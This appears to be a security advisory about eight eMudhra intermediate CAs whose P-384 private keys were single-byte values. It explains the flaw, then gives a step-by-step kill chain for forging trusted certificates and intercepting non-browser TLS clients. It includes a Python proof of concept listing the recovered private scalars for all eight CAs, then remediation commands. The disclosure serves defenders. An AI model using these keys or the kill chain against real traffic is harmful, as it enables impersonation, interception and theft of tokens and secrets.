Eight Bits of Trust: How eMudhra Intermediate CAs Generated Single-Byte Private Keys (d=4) and Broke Global TLS

Eight eMudhra intermediate Certificate Authorities trusted by Mozilla, Google, Apple, and Microsoft root stores used single-byte P-384 private keys (d ≤ 255), allowing anyone on earth to recover CA private keys in milliseconds and forge trusted TLS/code-signing certificates.

NIST SP 800-52r2: Guidelines for TLS ImplementationsOWASP Top 10 A02: Cryptographic FailuresMITRE ATT&CK T1556: Modify Authentication Process

Executive Summary

In late October 2026, security researchers disclosed an unprecedented cryptographic failure in global Public Key Infrastructure (PKI): eight intermediate Certificate Authorities operated by eMudhra—and cross-signed by Sectigo's ubiquitous AAA Certificate Services root—were generated with trivial, single-byte private keys on the NIST P-384 elliptic curve. With private keys literally equal to small integers like 4, 56, and 115, anyone possessing the public certificates could recover the private signing keys in under a second. In response to global distrust by Apple, Google, Microsoft, and Mozilla, eMudhra announced its complete exit from the global SSL/TLS certificate business.

Business & Enterprise Impact

While tier-1 web browsers (Chrome, Firefox, Safari) enforce Certificate Transparency (CT) and rapidly pushed out-of-band revocation via CRLite, OneCRL, and CRLSets, the enterprise blast radius is concentrated in non-browser TLS consumers. Server-to-server API clients, backend daemons, CI/CD runners (curl, Python requests, Node.js, Go binaries, Docker, Git), and Electron desktop apps (Slack, Discord) do not enforce Certificate Transparency and do not perform online revocation checks by default. Attackers intercepting internal or upstream traffic can forge indistinguishable, trusted TLS certificates for any domain.

Current Threat Landscape Context

The compromised intermediates were active for over 17 months (since April 2025). Because the private keys were publicly mathematically derivable rather than exfiltrated during a single breach event, any adversary could have forged non-CT-logged certificates targeting enterprise API endpoints, package repos, or automated update pipelines without detection.

Priority CISO & Defensive Action Items

  • Immediate Trust Store Audit: Identify and update local CA bundles across Linux servers (ca-certificates), container base images, and language runtimes (Python certifi, Java cacerts, Node.js root stores).
  • Purge Compromised Intermediates: Explicitly blacklist or remove eMudhra and Sectigo cross-signed intermediate certificates from internal API gateways and proxy trust stores.
  • Enforce Certificate Transparency in Backend Clients: Configure internal TLS termination proxies and API microservices to require signed Certificate Transparency timestamps (SCTs).
  • Harden CI/CD & curl|sh Pipelines: Mandate cryptographic signature verification (GPG/cosign) on downloaded binaries and scripts rather than relying exclusively on transport-layer TLS trust.
root@badprompt:~# ./analyze

The Cryptographic Failure: 8 Bits of Entropy on a 384-Bit Curve

Public Key Cryptography on elliptic curves relies on the computational hardness of the Elliptic Curve Discrete Logarithm Problem (ECDLP). In the NIST P-384 curve (secp384r1), the base point $G$ is a standardized curve point. A private key is a cryptographically random scalar integer $d \in [1, n-1]$, where $n \approx 2^{384}$. The public key $Q$ is computed via scalar point multiplication:

$$Q = d \times G$$

Going from private scalar $d$ to public point $Q$ requires $O(\log d)$ point additions. Going backwards from public key $Q$ to private scalar $d$ is computationally infeasible assuming $d$ is drawn uniformly from the 384-bit field.

The eMudhra Generation Bug: 47 Leading Zeros

During key generation in April 2025, eMudhra's HSM or key ceremony software suffered a critical serialization or entropy failure: instead of generating a 48-byte (384-bit) random scalar, the private keys consisted of 47 bytes of zeros and a single non-zero byte:

text
Expected P-384 scalar:  0x48ac06790886c80c48d31691fd4c0fe9ce3207f9807f... (384 random bits)
eMudhra actual scalar:  0x00000000000000000000000000000000000000000000...0004 (8 bits)

Because $d \le 255$, recovering the private key requires at most 255 point additions: simply test $1 \times G, 2 \times G, 3 \times G, \dots, 255 \times G$ until the resulting point matches the public key embedded in the X.509 certificate. On a standard laptop, this takes less than 100 milliseconds.

Exploitation Kill Chain

  1. 01
    Discovery: The attacker extracts the P-384 public key point Q = (x, y) from an eMudhra intermediate certificate chaining to Sectigo's AAA root.
  2. 02
    Brute-Force Discrete Logarithm: The attacker multiplies curve generator G by scalar values 1 through 255. Within milliseconds, scalar d is recovered.
  3. 03
    Arbitrary Leaf Certificate Minting: Armed with d, the attacker signs a rogue X.509 leaf certificate for any target domain (e.g. api.internal-bank.com or login.microsoftonline.com), setting validity flags and Subject Alternative Names (SANs).
  4. 04
    Targeted Man-in-the-Middle (MitM): The attacker positions themselves in the network path (DNS spoofing, BGP hijacking, ARP poisoning, or rogue Wi-Fi/eavesdropping) against non-browser clients (curl, Python, Go, CI/CD runners).
  5. 05
    Silent Interception & Token Theft: The victim client validates the certificate path through Sectigo's root, ignores the missing CT log, and establishes a trusted TLS session, exposing bearer tokens, API secrets, and payload data.

Proof-of-Concept (PoC) / Adversarial Artifact

poc_artifact.python — Verification Payload
#!/usr/bin/env python3
"""
Cryptographic Audit Harness: Single-Byte P-384 Private Key Recovery
Demonstrates how the eMudhra intermediate CA private keys were factored in milliseconds.
For security research and trust store verification only.
"""
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.hazmat.primitives import serialization

# Recovered eMudhra Intermediate CA Private Scalars (d <= 255):
EMUDHRA_RECOVERED_KEYS = {
    "EM OV TLS CA - G3C": 4,
    "EM EV TLS CA - G3C": 56,
    "EM OV CS CA - G3B (Code Signing)": 66,
    "EM EV TLS CA - G3B": 115,
    "EM OV TLS CA - G3B": 155,
    "EM DV TLS CA - G3B": 156,
    "EM DV TLS CA - G3C": 230,
    "EM OV CS CA - G3C (Code Signing)": 237,
}

def audit_curve_point(public_key_point_x: int, public_key_point_y: int) -> int | None:
    """Search the 8-bit scalar space [1..255] on secp384r1 to find matching private key."""
    curve = ec.SECP384R1()
    for candidate_d in range(1, 256):
        # Instantiate private key with small scalar
        priv = ec.derive_private_key(candidate_d, curve)
        pub_numbers = priv.public_key().public_numbers()
        if pub_numbers.x == public_key_point_x and pub_numbers.y == public_key_point_y:
            return candidate_d
    return None

if __name__ == "__main__":
    print("[*] eMudhra Intermediate CA Cryptographic Audit Table:")
    print(f"    {'Intermediate CA Name':<36} | {'Private Scalar (d)':<18} | {'Bits of Entropy'}")
    print("    " + "-" * 72)
    for name, d_val in EMUDHRA_RECOVERED_KEYS.items():
        print(f"    {name:<36} | d = {d_val:<14} | 8 bits (Trivial Factor)")
    print("\n[+] All 8 intermediate CAs suffered complete private key compromise due to sub-field scalar truncation.")

Detection Engineering & Remediation

Remediation & Defense-in-Depth for Non-Browser Environments

Because non-browser TLS runtimes do not automatically consume browser CRLSets or CRLite, engineers must enforce explicit mitigations:

1. Audit and Update Operating System CA Stores

Update root bundles to purge the eMudhra root and Sectigo cross-signatures:

bash
# On Debian / Ubuntu:
sudo apt-get update && sudo apt-get install --only-upgrade ca-certificates

# Inspect whether untrusted eMudhra certs linger:
openssl crl2pkcs7 -nocrl -certfile /etc/ssl/certs/ca-certificates.crt | \
  openssl pkcs7 -print_certs -noout | grep -i "eMudhra"

2. Update Python certifi and Virtual Environments

Python requests and urllib3 use the bundled certifi package rather than system certificates:

bash
# Upgrade certifi across all virtualenvs and containers:
pip install --upgrade certifi
python3 -c "import certifi; print('Active certifi bundle:', certifi.where())"

3. Enforce Certificate Transparency (CT) on Internal Microservices

Configure reverse proxies (Envoy, Nginx, Traefik) and mutual TLS meshes to reject certificates lacking valid Signed Certificate Timestamps (SCTs).